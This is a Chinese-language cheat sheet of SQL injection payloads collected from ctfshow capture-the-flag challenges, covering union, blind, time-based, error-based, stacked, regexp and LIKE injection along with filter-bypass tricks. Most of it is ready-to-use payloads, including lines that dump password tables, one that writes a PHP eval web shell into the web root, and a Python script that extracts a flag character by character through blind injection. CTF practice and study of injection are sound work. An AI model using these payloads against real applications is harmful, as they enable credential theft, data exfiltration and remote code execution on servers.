tips
判断字符型注入还是数字型
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
||在sql的偶用
||表示拼接,如’a’||‘b’ 等价于’ab’
如果有数字,就表示or的作用
联合注入
假设无过滤,这种是最简单的了算是。
-1' union select 1,2,3--+
对返回结果有过滤有时候需要用base64或hex返回
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+
对返回结果的数字进行了过滤
-1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,‘0’,‘numA’),‘1’,‘numB’),‘2’,‘numC’),‘3’,‘numD’),‘4’,‘numE’),‘5’,‘numF’),‘6’,‘numG’),‘7’,‘numH’),‘8’,‘numI’),‘9’,‘numJ’) from ctfshow_user4–+
利用读写文件把结果写入网站目录
1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/1.txt’–+
布尔盲注&&时间盲注
普通方法
1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -
regexp
"tableName":f"(ctfshow_user)where(substr(pass,1,2))regexp('ct')&&(substr(pass,{i},1))regexp('{j}')"
right join
RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
利用true绕过数字过滤
import requests
url = "http://71610981-3c01-4b8f-816e-be4d190b34cf.challenge.ctf.show:8080/select-waf.php"
flag = 'flag{'
def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
MD5($str,true)
username:admin
password:ffifdyop
利用where username=0中的弱类型比较
在where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。
而password=0的原因在于这里:
intval让等号右边为数字0
if($row['pass']==intval($password)){
堆叠注入
修改列名
1;alter table ctfshow_user change pass jie varchar(255);alter table ctfshow_user change id pass varchar(255);
预处理
1’;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#
handler
1’;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#
预处理十六进制转换
username=user1’;PREPARE anf from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE anf;
这样有时候会失败,所以最好先把十六进制的字符串预定义
into oufile的扩展利用
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
filename=3.php' LINES STARTING BY '<?php eval($_POST[0]);?>'#
报错注入
?id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)-- -
?id=' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1),1)-- -
' or updatexml(1,concat(1,substr((select group_concat(flag) from ctfshow_flag),1,32),1),1)-- -
' or updatexml(1,concat(1,substr((select group_concat(flag) from ctfshow_flag),20,32),1),1)-- -
双查询注入
' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -
无列名注入
select `3` from (select 1,2,3,4,5 union select * from users)a;
//就相当于select pass from (select 1,2,3,4,5 union select * from users)a;
^可以作为连接符使用或代替or
username=aaa&password=aaa'^extractvalue(1,concat('~',right((select(group_concat(password))from(geek.H4rDsq1)),30)))%23
1^(1=1) 错误
0^(1=1) 正确
1^(2>1) 错误
0^(2>1) 正确
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
逗号被过滤
’ and ascii(substr((select database())from 1 for 1))=xx %23这应该是substring函数的两种用法吧,limit则是 LIMIT M OFFSET N
利用with rollup绕过查询密码
sql语句:select id,count() form users group by id with rollup;
我们看到增加了一列,其中id为NULL,count()为统计和。
ascii过滤,可以用 ord()
REGEXP注入与LIKE注入
mysql的正则不区分大小写,如果要区分的话,要在regexp后加 binary关键字。
REGEXP注入分析
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
select (select语句) regexp '正则'
select (select username from users where id=1) regexp '^a';
^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0
regexp关键字还可以代替where条件里的=号
^若被过滤,可使用$来从后往前进行匹配
常用regexp正则语句:
regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
LIKE注入分析
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。
like 's%'判断第一个字符是否为s
like 'se%'判断前面两个字符串是否为se
like '%sq%' 判断是否包含se两个字符串
like '_____'判断是否为5个字符
like 's____' 判断第一个字符是否为s